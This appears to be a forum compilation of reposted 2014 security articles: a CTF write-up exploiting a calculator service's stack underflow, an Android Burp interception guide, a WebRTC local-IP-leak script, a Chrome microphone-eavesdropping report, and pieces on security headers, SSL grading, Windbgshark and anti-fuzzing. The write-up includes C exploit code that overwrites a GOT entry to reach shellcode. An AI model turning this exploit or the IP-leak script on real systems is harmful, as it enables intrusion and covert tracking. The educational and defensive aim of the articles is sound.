Ghost in the Shellcode: TI-1337 (Pwnable 100) Hey everybody, This past weekend was Shmoocon, and you know what that means—Ghost in the Shellcode! Most years I go to Shmoocon, but this year I couldn't attend, so I did the next best thing: competed in Ghost in the Shellcode! This year, our rag-tag band of misfits—that is, the team who purposely decided not to ever decide on a team name, mainly to avoid getting competitive—managed to get 20th place out of at least 300 scoring teams! I personally solved three levels: TI-1337, gitsmsg, and fuzzy. This is the first of three writeups, for the easiest of the three: TI-1337—solved by 44 teams. You can download the binary, as well as the exploit, the IDA Pro files, and everything else worth keeping that I generated, from my Github repository. Getting started Unlike some of my teammates, I like to dive head-first into assembly, and try not to drown. So I fired up IDA Pro to see what was going on, and I immediately noticed is that it's a 64-bit Linux binary, and doesn't have a ton of code. Having never in my life written a 64-bit exploit, this would be an adventure! Small aside: Fork this! I'd like to take a quick moment to show you a trick I use to solve just about every Pwn-style CTF level: getting past that pesky fork(). Have you ever been trying to debug a vuln in a forking program? You attach a debugger, it forks, it crashes, and you never know. So you go back, you set affinity to 'child', you debug, the debugger follows the child, catches the crash, and the socket doesn't get cleaned up properly? It's awful! There is probably a much better way to do this, but this is what I do. First, I load the binary into IDA and look for the fork() call: .text:00400F65 good_connection: ; CODE XREF: do_connection_stuff+39j .text:00400F65 E8 06 FD FF FF call _fork .text:00400F6A 89 45 F4 mov [rbp+child_pid], eax .text:00400F6D 83 7D F4 FF cmp [rbp+child_pid], 0FFFFFFFFh .text:00400F71 75 02 jnz short fork_successful You'll note that opcode bytes are turned on, so I can see the hex-encoded machine code along with the instruction. The call to fork() has the corresponding code e8 06 fd ff ff. That's what I want to get rid of. So, I open the binary in a hex editor, such as 'xvi32.exe', search for that sequence of bytes (and perhaps some surrounding bytes, if it's ambiguous), and replace it with 31 c0 90 90 90. The first two bytes—31 c0—is "xor eax, eax" (ie, clear eax), and 90 90 90 is "nop / nop / nop". So basically, the function does nothing and returns 0 (ie, behaves as if it's the child process). You may want to kill the call to alarm(), as well, which will kill the process if you spend more than 30 seconds looking at it. You can replace that call with 90 90 90 90 90—it doesn't matter what it returns. I did this on all three levels, and I renamed the new executable "<name>-fixed". You'll find them in the Github repository. I'm not going to go over that again in the next two posts, but I'll be referring back to this instead. The program Since this is a post on exploitation, not reverse engineering, I'm not going to go super in-depth into the code. Instead, I'll describe it at a higher level and let you delve in more deeply if you're interested. The main handle_connection() function can be found at offset 0x00401567. It immediately jumps to the bottom, which is a common optimization for a 'for' or 'while' loop, where it calls the code responsible for receiving data—the function at 0x00401395. After receiving data, it jumps back to the top of handle_connection() function, just after the jump to the bottom, where it goes through a big if/else list, looking for a bunch of symbols (like '+', '-', '/' and '*'—look familiar?) After the if/else list, it goes back to the receive function, then to the top of the loop, and so on. Receive, parse, receive, parse, etc. Let's look at those two pieces separately, then we'll explore the vulnerability and see the exploit. Receive As I mentioned above, the receive function starts at 0x00401395. This function starts by reading up to 0x100 (256) bytes from the socket, ending at a newline (0x0a) if it finds one. This is done using a simple receive-loop function located at 0x0040130E that is worthwhile going through, if you're new to this, but that doesn't add much to the exploit. After reading the input, it's passed to sscanf(buffer, "%lg", ...). The format string "%lg" tells sscanf() to parse the input as a "double" variable—a 64-bit floating point. Great: a x64 process handling floating point values; that's two things I don't know! If the sscanf() fails—that is, the received data isn't a valid-looking floating point value—the received data is copied wholesale into the buffer. A flag at the start of the buffer is set indicating whether or not the double was parsed. Then the function returns. Quite simple! Processing the data I mentioned earlier that this binary looks for mathematical symbols—'+', '-', '*', '/' in the received data. I didn't actually notice that right away, nor did the name "TI-1337" (or the fact that it used port "31415"... think about it) lead me to believe this might be a calculator. I'm not the sharpest pencil sometimes, but I try hard! Anyway, back to the main parsing code (near the top of the function at 0x00401567 again)! The parsing code is actually divided into two parts: a short piece of code that runs if a valid double was received (ie, the sscanf() worked), and a longer one that runs if it wasn't a double. The short piece of code simply calls a function (spoiler alert: the function pushes it onto a global stack object they use, not to be confused with the runtime stack). The longer one performs a bunch of string comparisons and does soemthing based on those. I think at this point I'll give away the trick: whole application is a stack-based calculator. It allocates a large chunk of memory as a global variable, and implements a stack (a length followed by a series of 64-bit values). If you enter a double, it's pushed onto the stack and the length is incremented. If you enter one of a few symbols, it pops one or more values (without checking if we're at the beginning!), updates the length, and performs the calculation. The new value is then pushed back on top of the stack. Here's an example session: (sent) 10 (sent) 20 (sent) + (sent) . (received) 30 And a list of all possible symbols: + :: pops the top two elements off the stack, adds them, pushes the result - :: same as '+', except it subtracts * :: likewise, multiplication / :: and, to round it out, division ^ :: exponents ! :: I never really figured this one out, might be a bitwise negation (or might not, it uses some heavy floating point opcodes that I didn't research ) . :: display the current value b :: display the current value, and pop it q :: quit the program c :: clear the stack And, quite honestly, that's about it! That's how it works, let's see how to break it! The vulnerability As I alluded to earlier, the program fails to check where on the stack it currently is when it pops a value. That means, if you pop a value when there's nothing on the stack, you wind up with a buffer underflow. Oops! That means that if we pop a bunch of times then push, it's going to overwrite something before the beginning of the stack. So where is the stack? If you look at the code in IDA, you'll find that the stack starts at 0x00603140—the .bss section. If you scroll up, before long you'll find this: .got.plt:00603018 off_603018 dq offset free ; DATA XREF: _freer .got.plt:00603020 off_603020 dq offset recv ; DATA XREF: _recvr .got.plt:00603028 off_603028 dq offset strncpy ; DATA XREF: _strncpyr .got.plt:00603030 off_603030 dq offset setsockopt ; DATA XREF: _setsockoptr ... The global offset table! And it's readable/writeable! If we pop a couple dozen times, then push a value of our choice, we can overwrite any entry—or all entries—with any value we want! That just leaves one last step: where to put the shellcode? Aside: floating point One gotcha that's probably uninteresting, but is also the reason that this level took me significantly longer than it should have—the only thing you can push/pop on the application's stack is 64-bit double values! They're read using "%lg", but if I print stuff out using printf("%lg", address), it would truncate the numbers! Boo! After some googling, I discovered that you had to raise printf's precision a whole bunch to reproduce the full 64-bit value as a decimal number. I decided that 127 decimal places was more than enough (probably like 5x too much, but I don't even care) to get a good result, so I used this to convert a series of 8 bytes to a unique double: sprintf(buf, "%.127lg\n", d); I incorporated that into my push() function: /* This pushes an 8-byte value onto the server's stack. */void do_push(int s, char *value) { char buf[1024]; double d; /* Convert the value to a double */ memcpy(&d, value, 8); /* Turn the double into a string */ sprintf(buf, "%.127lg\n", d); printf("Pushing %s", buf); /* Send it */ if(send(s, buf, strlen(buf), 0) != strlen(buf)) perror("send error!"); } And it worked perfectly! The exploit Well, we have a stack (one again, not to be confused with the program's stack) where we can put shellcode. It has a static memory address and is user-controllable. We also have a way to encode the shellcode (and addresses) so we wind up with fully controlled values on the stack. Let's write an exploit! Here's the bulk of the exploit: int main(int argc, const char *argv[]){ char buf[1024]; int i; int s = get_socket(); /* Load the shellcode */ for(i = 0; i < strlen(shellcode); i += 8) do_push(s, shellcode + i); /* Pop the shellcode (in retrospect, this could be replaced with a single 'c') */ for(i = 0; i < strlen(shellcode); i += 8) do_pop(s); /* Pop until we're at the recv() call */ for(i = 0; i < 38; i++) do_pop(s); do_push(s, TARGET); /* Send a '.' just so I can catch it */ sprintf(buf, ".\n"); send(s, buf, strlen(buf), 0); sleep(100); return 0; } ou can find the full exploit here! Conclusion And that's all there is to it! Just push the shellcode on the stack, pop our way back to the .got.plt section, and push the address of the stack. Bam! Execution! That's all for now, stay tuned for the much more difficult levels: gitsmsg and fuzzy! January 24, 2014 Ron Bowes Sursa: https://blog.skullsecurity.org/2014/ghost-in-the-shellcode-ti-1337-pwnable-100

[h=3]Android Assessments with GenyMotion + Burp[/h]s much as I love Android app assessments, I kept coming across the same problem: Do I waste time trying to ‘root’ an Android device or deal with the incredibly buggy, slow, unresponsive, and overly difficult to work with Android emulator that comes with the Android SDK bundle? Then I was introduced to Genymotion: an Android emulator based on the AndroVM Open Source project (AndroVM blog | Running Android in a Virtual Machine). Genymotion utilizes VirtualBox to run an Android OS within a Virtual Machine. This results in a drastic increase in speed, response, stability, and ease of use. I've been working with Genymotion for a little while now and wanted to compile a bunch of things I've learned how to do in order to make it easier for others to have a consolidated resource. Downloading and Installing Genymotion Standing up a new Android OS VM Useful features within Genymotion (Drag & Drop, etc.) Using ADB with Genymotion to install applications Configure the Android VM to pass all web traffic through Burp Using ADB with Genymotion to install a Burp SSL Certificate Troubleshooting ARM error and adding Google Play support within Genymotion Upon installation you are prompted to provide the same credentials that were created to login and download Genymotion. This will let you connect to the Genymotion cloud and download a pre-built Android VM. My Android testing environment consists of a MacBook Pro although all of the tools/techniques used in this post are platform independent. I am also going to use Burp Suite Pro and Free 1.5 which is also platform independent. Lastly, while I talk about utilizing the Android SDK/ADT/ADB and installing APK applications, I do not cover how to set up your Android SDK/ADT/ADB or find APK applications outside of Google Play. Downloading and Installing Genymotion: Genymotion requires the use of VirtualBox. The Windows 32/64 bit download of Genymotion comes with VirtualBox however, the OS X and Linux versions do not and therefore it must be installed separately. The link can be found here. VirtualBox must be installed first, before the installation of Genymotion. In order to download Genymotion, a free sign-up is required. Once the email address on the account has been verified a link to download Genymotion can be accessed. The link to sign up and download Genymotion can be found here. Standing up a new Android OS VM: Select 'Galaxy Nexus - 4.3 - API 18 - 720x1280' Click 'Next'. The VM will automatically downloaded from the Genymotion cloud. Once the download is complete and the VM has been successfully installed within VirtualBox it should be listed under 'Your Virtual Devices'. Click the 'Play' Button to run the VM for the first time. If everything is successful the VM should be running. Useful Features within Genymotion: This feature list is not all inclusive however I wanted to point out a few features I found to be useful when setting up my environment. In addition, I want to point out that for developers - Genymotion has an IntelliJ IDEA plugin as well as an Eclipse plugin to be able to push the app you are developing directly to your Android VM through ADB. By clicking on the 'Settings' icon the Genymotion settings menu will appear. Under the 'Network' Tab are proxy settings for Genymotion to be able to reach out to its cloud service and download new VMs and updates. NOTE: This setting is NOT for configuring the Android VM to send web traffic through a proxy. That will be covered in a later section. Under the ADB Tab you can point Genymotion to the SDK directory within your Android development environment. Within the Android VM, Genymotion installs a configuration application that allows for some environment modifications. Since the VM is already 'rooted' there are not a lot of configuration settings that need to be modified on this screen however, it is useful to enable the use of the physical keyboard for input. If any settings are modified within this application the VM will require a reboot. The last and most useful feature within Genymotion is the drag and drop feature. This feature can be used to transfer files and install applications to the Android VM environment. Simply drag a file from the host's desktop or a folder directly into the Android VM. Once the file transfer is complete the Android OS will notify the user where the file is located within the OS (by default it is '/sdcard/Download'). Using ADB to Install Applications: ADB can be used to push and pull files as well as install Android applications. However, as mentioned in the section above, the ADB environment path must be properly specified within Genymotion. Using ADB commands verify that a device is listed. Then using the syntax of ./adb install <path/to/.apk_file>, install the Android Application. If the installation is successful ADB will prompt 'Success' upon completion. The newly installed application should now be available for use within the Android VM. However, an easier way of installing Android Applications into the Android VM is to simply utilize Genymotions drag and drop feature. Simply drag and drop an APK file into the VM and the application should install successfully and be ready for use within the VM environment. Configure the Android VM Proxy and Burp: For performing security assessments as well as validating an application in development it is necessary to view the web traffic that is passed back and forth between the client (android application installed on an end device) and its corresponding server. It is possible to configure the Android VM within Genymotion to pass all of its web traffic through a web proxy such as Burp. Verify the current IP address of the host machine. In the instance above, the IP address of the host machine is: 192.168.1.11. We will later set the proxy within the Android VM to this IP address. Within the Android VM go to Settings. Cick on Wi-Fi. Click and hold 'WiredSSID' until a box pops up. Click on 'Modify network'. Check the 'Show advanced options' box and select 'Manual' from the Proxy Settings menu. Specify the host IP address and set a default port for the proxy to listen on. In this case my host IP was 192.168.1.11 and the listening port was 8080. When those changes have been made click 'Save' and exit out of Settings. At this point the Android VM should be completely configured to pass web traffic to the web proxy. However, the web proxy must be configured to listen on the host IP we specified within the Android VM. For the purposes of this blog I chose to use Burp Suite as it is one of the most common and widely used web proxies around. Launch Burp Suite Pro or Free. Click on the top 'Proxy' tab then click on the 'Options' secondary tab. Lastly, click on the 'Add' button to add a new proxy listener. Specify the listener port that we defined within the Android VM (in our case port 8080). Also, click on the 'Specific address' radio button and from the drop down select the IP address specified within the Android VM (in our case it was 192.168.1.11). When complete click 'OK' to return to the previous screen. Verify that the new proxy listener has been added and that a check box is located next to the listener to ensure it is enabled. If all of the settings were configured properly Burp should now be seeing web traffic passed to it by the Android VM. If traffic is still not being passed the IP address of the host should be verified as the DHCP lease may have run out and the IP address may have changed. Installing SSL Certificate with ADB: Until this point all web traffic should be passing from the Android VM to Burp. However, if any applications are communicating over HTTPS, you will receive a 'Webpage not Available' error. This happens because the burp Certificate Authority (CA) Certificate is not yet trusted by the Android VM. There are two methods of retrieving the Burp CA Certificate in order to install it on the Android VM. If you have the free version of Burp: Open up Burp and enable the loopback (127.0.0.1) listener on port 8080 if it is not already enabled. Open up Firefox on your host machine. Go to Firefox's Preferences and under the 'Advanced' tab in the 'Connection' section click on 'Settings'. Click on the 'Manual proxy configuration' radio button. Specify the loopback address (127.0.0.1) and specify port 8080 as the listening port. Click 'OK' and exit out of the Preferences. Go to any HTTPS based website. For this example I chose ( https://google.com). You will receive a Connection Untrusted message. Click on the 'Add Exception' button on the bottom. Click on the 'View' button to view the identity of the Certificate. Click on the 'Details' tab and notice that the Certificate references PortSwigger CA which is the CA for Burp. Click 'Export' to export the Certificate. Change the format to 'X.509 Certificate (DER)' and name the Certificate <name>.cer. Save the Certificate to an easily accessible location. If you have the Professional Version of Burp, c lick on the 'Proxy' tab and the 'Options' secondary tab. Click on the 'CA certificate' button. Export as 'Certificate in DER format'. Click 'Next'. Name the Certificate <name>.cer. Save it in an easily accessible location. Next we will get the certificate onto the Android VM and install it. There are two methods of getting the Certificate onto the Android VM. The first one is by using ADB. We will use the 'adb push' command to push the Certificate onto the '/mnt/sdcard' directory of the Android VM. The syntax is: adb push <local/path/to/certifiate> </mnt/sdcard/>. We can also verify that the Certificate has been transferred over successfully by entering into a shell of the Android VM by using the 'adb shell' command and listing the contents of the /mnt/sdcard/ directory. The second method of getting the Certificate onto the Android VM is to use the drag and drop feature. Drag and drop the Certificate file into the Android VM and the file should copy over and be located within the /mnt/sdcard/ directory. Now that the Certificate is on the Android VM we can install it. In your Android VM go to 'Settings'. Click on 'Security' Click on 'Install from SD card' A box will pop up with the Certificate information. Verify it and then click 'OK'. Android requires you to set a password in order to use credential storage. Click 'OK'. This password can be pattern based, a PIN, or a password. Select one and set it. The PortSwigger CA Certificate should now be installed on your Android VM. To verify that the CA Certificate successfully was installed click on 'Trusted credentials'. Click on the 'User' tab. The PortSwigger CA Certificate should now be there signifying it was successfully installed on your Android VM. You should now be able to successfully view HTTPS traffic in plain text. Troubleshooting ARM error and adding Google Play support within Genymotion: The support for ARM applications and Google Play was removed within Genymotion starting with their 2.0 release. However, since a decent number of applications available require ARM translation this can be a major pain. When attempting to install an ARM based application you should see the error below. The guys over at XDA-Developers have found a way to recover the functionality of both ARM based applications as well as Google Play. The entire thread and download files can be found here. Simply download the ARM Translation Install zip file and the Google Play application zip file (depending on which version of Android you are running within your VM). Drag and drop each file into your Android VM and that should do it. We hope this information is useful and eases some of the pain of Android application assessments. We'd love to hear your thoughts. Posted by Abdullah Munawar Sursa: nVisium: Android Assessments with GenyMotion + Burp

<body> Your network IP is: <h1 id=list>-</h1> source: <a href="http://net.ipcalf.com/">Make the locals proud.</a> <script> // NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23 var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (RTCPeerConnection) (function () { var rtc = new RTCPeerConnection({iceServers:[]}); if (window.mozRTCPeerConnection) { // FF needs a channel/stream to proceed rtc.createDataChannel('', {reliable:false}); }; rtc.onicecandidate = function (evt) { if (evt.candidate) grepSDP(evt.candidate.candidate); }; rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); }, function (e) { console.warn("offer failed", e); }); var addrs = Object.create(null); addrs["0.0.0.0"] = false; function updateDisplay(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); document.getElementById('list').textContent = displayAddrs.join(" or perhaps ") || "n/a"; } function grepSDP(sdp) { var hosts = []; sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 addr = parts[4], type = parts[7]; if (type === 'host') updateDisplay(addr); } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 var parts = line.split(' '), addr = parts[2]; updateDisplay(addr); } }); } })(); else { document.getElementById('list').innerHTML = "<code>ifconfig | grep inet | grep -v inet6 | cut -d\" \" -f2 | tail -n1</code>"; document.getElementById('list').nextSibling.textContent = "In Chrome and Firefox your IP should display automatically, by the power of WebRTCskull."; } </script> </body> Sursa: Edit fiddle - JSFiddle (+Demo)

4 HTTP Security headers you should always be using 23-01-2014 Boy Baukema What started as a dream for a worldwide library of sorts, has transformed into not only a global repository of knowledge but also the most popular and widely deployed Application Platform: the World Wide Web. The poster child for Agile, it was not developed as a whole by a single entity, but rather grew as servers and clients expanded it's capabilities. Standards grew along with them. While growing a solution works very well for discovering what works and what doesn't, it hardly leads to a consistent and easy to apply programming model. This is especially true for security: where ideally the simplest thing that works is also the most secure, it is far too easy to introduce vulnerabilities like XSS, CSRF or Clickjacking. Because HTTP is an extensible protocol browsers have pioneered some useful headers to prevent or increase the difficulty of exploiting these vulnerabilities. Knowing what they are and when to apply them can help you increase the security of your system. 1. Content-Security-Policy What's so good about it? How would you like to be largely invulnerable to XSS? No matter if someone managed to trick your server into writing <script>alert(1);</script>, have the browser straight up refuse it? That's the promise of Content-Security-Policy. Adding the Content-Security-Policy header with the appropriate value allows you to restrict the origin of the following: script-src: JavaScript code (biggest reason to use this header) connect-src: XMLHttpRequest, WebSockets, and EventSource. font-src: fonts frame-src: frame ulrs img-src: images media-src: audio & video object-src: Flash (and other plugins) style-src: CSS So specifying the following: Content-Security-Policy: script-src 'self' https://apis.google.comMeans that script files may only come from the current domain or from apis.google.com (the Google JavaScript CDN). Another helpful feature is that you can automatically enable sandbox mode for all iframes on your site. And if you want to test the waters, you can use use the 'Content-Security-Policy-Report-Only' header to do a dry run of your policy and have the browser post the results to a URL of your choosing. It is definitely worth the time to read the excellent HTML5Rocks introduction. Articol complet: http://ibuildings.nl/blog/2013/03/4-http-security-headers-you-should-always-be-using

SSL Labs: Stricter security requirements for 2014 January 21, 2014 Today, we're releasing a new version of SSL Rating Guide as well as a new version of SSL Test to go with it. Because the SSL/TLS and PKI ecosystem continues to move at a fast pace, we have to periodically evaluate our rating criteria to keep up. We have made the following changes: Support for TLS 1.2 is now required to get an A. If this protocol version is not supported, the grade is capped at B. Given that, according to SSL Pulse, TLS 1.2 is supported by only about 20% servers, we expect this change to affect a large number of assessments. Keys below 2048 bits are now considered weak, with the grade capped at B. Keys below 1024 bits are now considered insecure, and given an F. MD5 certificate signatures are now considered insecure, and given an F. We introduce two new grades, A+ and A-, to allow for finer grading. This change allows us to reduce the grade slightly, when we don't want to reduce it to a B, but we still want to show a difference. More interestingly, we can now reward exceptional configurations. We also introduce a concept of warnings; a server with good configuration, but with one ore more warnings, is given a reduced grade A-. Servers that do not support Forward Secrecy with our reference browsers are given a warning. Servers that do not support secure renegotiation are given a warning. Servers that use RC4 with TLS 1.1 or TLS 1.2 protocols are given a warning. This approach allows those who are still concerned about BEAST to use RC4 with TLS 1.0 and earlier protocols (supported by older clients), but we want them to use better ciphers with protocols that are not vulnerable to BEAST. Almost all modern clients now support TLS 1.2. Servers with good configuration, no warnings, and good support for HTTP Strict Transport Security (long max-age is required), are given an A+. I am very happy that our rating approach now takes into account some very important features, such as TLS 1.2, Forward Secrecy, and HSTS. Frankly, these changes have been overdue. We originally meant to have all of the above in a major update to the rating guide, but we ran out of time, and decided to implement many of the ideas in a patch release. Sursa: Ivan Risti?: SSL Labs: Stricter security requirements for 2014

Windbgshark This project includes an extension for the windbg debugger as well as a driver code, which allow you to manipulate the virtual machine network traffic and to integrate the wireshark protocol analyzer with the windbg commands. The motivation of this work came from the intention to find a handy general-purpose way to debug network traffic flows under the Windows OS for the purposes of dynamic software testing for vulnerabilities, for reverse engineering of software and just for fun. Theory of operation The main idea is to rely on the Windows Filtering Platform capability to inspect traffic at the application level of OSI (however, the method works well on any level introduced by the WFP API). This gives us a way to intercept and modify any data, which goes through the Windows TCP/IP stack (even the localhost traffic), regardless of the application type and transport/network protocol. Modification and reinjection also work excellent: the operating systems does all the dirty work, reconstructing the transport and network layer headers, for example, as if we were sending the data from the usermode winsock application. This tool needs a virtualized enviroment (it works fine with VMWare Workstation now) with windbg connected to the virtual machine as a kernel debugger. Installation is done in two steps: driver installation and extension loading in windbg. Driver intercepts network traffic, allows the windbg to modify it, and then reinjects packets back into the network stack. The extension on its turn implements simple interface for packet edit and also uses Wireshark to display data flows. The extension is executed on the host machine, while the driver is located on the virtual machine. To interact with its driver, windbg extension sets the corresponding breakpoints with its own callbacks right inside the driver code. Every time a packet comes in or out, a breakpoint is hit and the windbgshark extracts the app-level payload of the current packet, constructs a new pcap record and sends it to Wireshark. Before the packet is reinjected back, user may modify it, and the Wireshark will re-parse and show the modified record. Build Source code is presented as a Visual Studio 2010 solution with both projects, Windows Driver Kit Download Windows Hardware Kits and Tools is required to build this solution. You can buld either from the command line or from the Visual Studio (Ctrl + , all the necessary makefiles come along with the source code. Install First, you need to prepare your VMWare virtual machine to interact with the kernel debugger. This task is covered in Kernel Debugging with WinDbg Host and Target in Virtual Machines, this tool VisualDDK - Create and debug driver projects directly from Visual Studio simplifies this process a bit. You also need to set up a correct symbol path in windbg, pointing to the windbgshark_drv.pdb (debugging symbols for the driver). When the windbg is set up, you need to install and start the driver windbgshark_drv.sys, .inf file is included in this project. Start the driver, for example, from the command-line: sc start windbgshark_drv After that you can load the windbgshark library in windbg. Copy the dll to a location that can be found by your windbg, and type in the command window: !load windbgshark. The library should start the wireshark (now its path is hardcoded, you should have the executable C:\Program files\Wireshark\Wireshark.exe on the host machine). Type !windbgshark.help to get the list of commands and start playing with the tool. Sursa: https://code.google.com/p/windbgshark/

Chrome Bugs Allow Sites to Listen to Your Private Conversations By exploiting bugs in Google Chrome, malicious sites can activate your microphone, and listen in on anything said around your computer, even after you’ve left those sites. Even while not using your computer - conversations, meetings and phone calls next to your computer may be recorded and compromised. While we’ve all grown accustomed to chatting with Siri, talking to our cars, and soon maybe even asking our glasses for directions, talking to our computers still feels weird. But now, Google is putting their full weight behind changing this. There’s no clearer evidence to this, than visiting Google.com, and seeing a speech recognition button right there inside Google’s most sacred real estate - the search box. Yet all this effort may now be compromised by a new exploit which lets malicious sites turn Google Chrome into a listening device, one that can record anything said in your office or your home, as long as Chrome is still running. Check out the video, to see the exploit in action Google’s Response I discovered this exploit while working on annyang, a popular JavaScript Speech Recognition library. My work has allowed me the insight to find multiple bugs in Chrome, and to come up with this exploit which combines all of them together. Wanting speech recognition to succeed, I of course decided to do the right thing… I reported this exploit to Google’s security team in private on September 13. By September 19, their engineers have identified the bugs and suggested fixes. On September 24, a patch which fixes the exploit was ready, and three days later my find was nominated for Chromium’s Reward Panel (where prizes can go as high as $30,000.) Google’s engineers, who’ve proven themselves to be just as talented as I imagined, were able to identify the problem and fix it in less than 2 weeks from my initial report. I was ecstatic. The system works. But then time passed, and the fix didn’t make it to users’ desktops. A month and a half later, I asked the team why the fix wasn’t released. Their answer was that there was an ongoing discussion within the Standards group, to agree on the correct behaviour - “Nothing is decided yet.” As of today, almost four months after learning about this issue, Google is still waiting for the Standards group to agree on the best course of action, and your browser is still vulnerable. By the way, the web’s standards organization, the W3C, has already defined the correct behaviour which would’ve prevented this… This was done in their specification for the Web Speech API, back in October 2012. How Does it Work? A user visits a site, that uses speech recognition to offer some cool new functionality. The site asks the user for permission to use his mic, the user accepts, and can now control the site with his voice. Chrome shows a clear indication in the browser that speech recognition is on, and once the user turns it off, or leaves that site, Chrome stops listening. So far, so good. But what if that site is run by someone with malicious intentions? Most sites using Speech Recognition, choose to use secure HTTPS connections. This doesn’t mean the site is safe, just that the owner bought a $5 security certificate. When you grant an HTTPS site permission to use your mic, Chrome will remember your choice, and allow the site to start listening in the future, without asking for permission again. This is perfectly fine, as long as Chrome gives you clear indication that you are being listened to, and that the site can’t start listening to you in background windows that are hidden to you. When you click the button to start or stop the speech recognition on the site, what you won’t notice is that the site may have also opened another hidden popunder window. This window can wait until the main site is closed, and then start listening in without asking for permission. This can be done in a window that you never saw, never interacted with, and probably didn’t even know was there. To make matters worse, even if you do notice that window (which can be disguised as a common banner), Chrome does not show any visual indication that Speech Recognition is turned on in such windows - only in regular Chrome tabs. You can see the full source code for this exploit on GitHub. Speech Recognition's Future Speech recognition has huge potential for launching the web forward. Developers are creating amazing things, making sites better, easier to use, friendlier for people with disabilities, and just plain cool… As the maintainer of a popular speech recognition library, it may seem that I shot myself in the foot by exposing this. But I have no doubt that by exposing this, we can ensure that these issues will be resolved soon, and we can all go back to feeling very silly talking to our computers… A year from now, it will feel as natural as any of the other wonders of this age. Sursa: Chrome Bugs Lets Sites Listen to Your Private Conversations

Introduction to Anti-Fuzzing: A Defence in Depth Aid Thursday January 2, 2014 tl;dr Anti-Fuzzing is a set of concepts and techniques that are designed to slowdown and frustrate threat actors looking to fuzz test software products by deliberately misbehaving, misdirecting, misinforming and otherwise hindering their efforts. The goal is to drive down the return of investment seen in fuzzing today by virtue of making it more expensive in terms of time and effort when used by malicious aggressors. History of Anti-Fuzzing Some of the original concepts that sit behind this post were conceived and developed by Aaron Adams and myself whilst at Research In Motion (BlackBerry) circa 2010. The history of Anti-Fuzzing is one of those fortunate accidents that sometimes occur. Whilst at BlackBerry we were looking to do some fuzzing of the legacy USB stack. For whatever reason the developers had added code that when the device encountered an unexpected value at a particular location in the USB protocol the device would deliberately catastrophically fail (catfail in RIM vernacular). This catfail would look to the uninitiated like the device had crashed and thus you would likely be inclined to investigate further to understand why. Ultimately you’d realise it was deliberate and then come to the conclusion that you had wasted time debugging the issue. After realising that wasting cycles in this manner could potentially be an effective and demoralising defensive technique to frustrate and hinder aggressors the concept of Anti-Fuzzing was born. Over the following years I fielded questions from at least three researchers who believed they may have found a security issue in the product’s USB stack when in fact they had simply tripped over the same intended behaviour. There is prior art in this space. Two industry luminaries in the guise of Haroon Meer and Roelof Temmingh in their seminal 2004 paper When the Tables Turn. In January 2013 a blog post titled Advanced Persistent Trolling by Francesco Manzoni discussed an Anti-Fuzzing concept specifically designed to frustrate penetration testers during web application assessments. This is obviously not something I condone but it introduced some similar techniques and concepts in the context of web applications specifically. Anti-Tamper: an Introduction Before we get onto Anti-Fuzzing first it’s worth understanding what Anti-Tamper is as it heavily influenced the early formation of the idea. In short Anti-Tamper is a US Department of Defence concept that is summarised (overview presentation) as follows: Anti-Tamper (AT) encompasses the systems engineering activities intended to prevent and/or delay exploitation of critical technologies in U.S. weapon systems. These activities involve the entire life-cycle of systems acquisition, including research, design, development, implementation, and testing of AT measures. Properly employed, AT will add longevity to a critical technology by deterring efforts to reverse-engineer, exploit, or develop countermeasures against a system or system component. AT is not intended to completely defeat such hostile attempts, but it should discourage exploitation or reverse-engineering or make such efforts so time-consuming, difficult, and expensive that even if successful, a critical technology will have been replaced by its next-generation version. These goals can equally apply to fuzzing. Anti-Fuzzing: a Summary If we take the Anti-Tamper mission statement and adjust the language for Anti-Fuzzing we arrive at something akin to: Anti-Fuzzing (AF) encompasses the systems engineering activities intended to prevent and/or delay fuzzing of software. Properly employed, AF will add longevity to the security of a technology by deterring efforts to fuzz and thus find vulnerabilities via this method against a system or system component. AF is not intended to completely defeat such hostile attempts, but it should discourage fuzzing or make such efforts so time-consuming, difficult, and expensive that even if successful, a critical technology will have been replaced by its next-generation version with improved mitigations. Now these are lofty goals for sure, but as you’ll see we can go some way as to meet them using a variety of different approaches. As with Anti-Tamper, Anti-Fuzzing is intended to: Deter: threat actor’s willingness or ability to fuzz effectively (i.e. have the aggressor pick an easier target). Detect: fuzzing and respond accordingly in a defensive manner. Prevent or degrade: the threat actor’s ability to succeed in their fuzzing mission. Articol complet: https://www.nccgroup.com/en/blog/2014/01/introduction-to-anti-fuzzing-a-defence-in-depth-aid/